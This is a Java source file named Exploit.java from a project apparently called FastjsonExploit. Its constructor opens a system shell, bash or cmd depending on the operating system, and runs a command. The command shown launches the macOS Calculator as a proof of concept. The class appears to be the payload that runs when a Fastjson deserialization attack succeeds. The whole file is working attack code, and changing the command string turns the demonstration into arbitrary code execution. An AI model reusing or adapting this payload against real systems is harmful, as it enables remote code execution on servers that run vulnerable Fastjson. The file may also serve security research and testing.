Files
FastjsonExploit/src/main/java/util/Exploit.java
2019-07-20 13:31:08 +08:00

35 lines
1.1 KiB
Java

package util;
public class Exploit {
public Exploit(){
try{
String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
java.util.ArrayList commands = new java.util.ArrayList();
boolean isLinux = true;
java.lang.String osType = System.getProperty("os.name");
if(osType != null && osType.toLowerCase().contains("win")){
isLinux = false;
}
if(isLinux) {
commands.add("/bin/bash");
commands.add("-c");
commands.add(cmd);
}else {
commands.add("cmd");
commands.add("-c");
commands.add(cmd);
}
java.lang.ProcessBuilder processBuilder = new java.lang.ProcessBuilder(commands);
java.lang.Process pc = processBuilder.start();
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}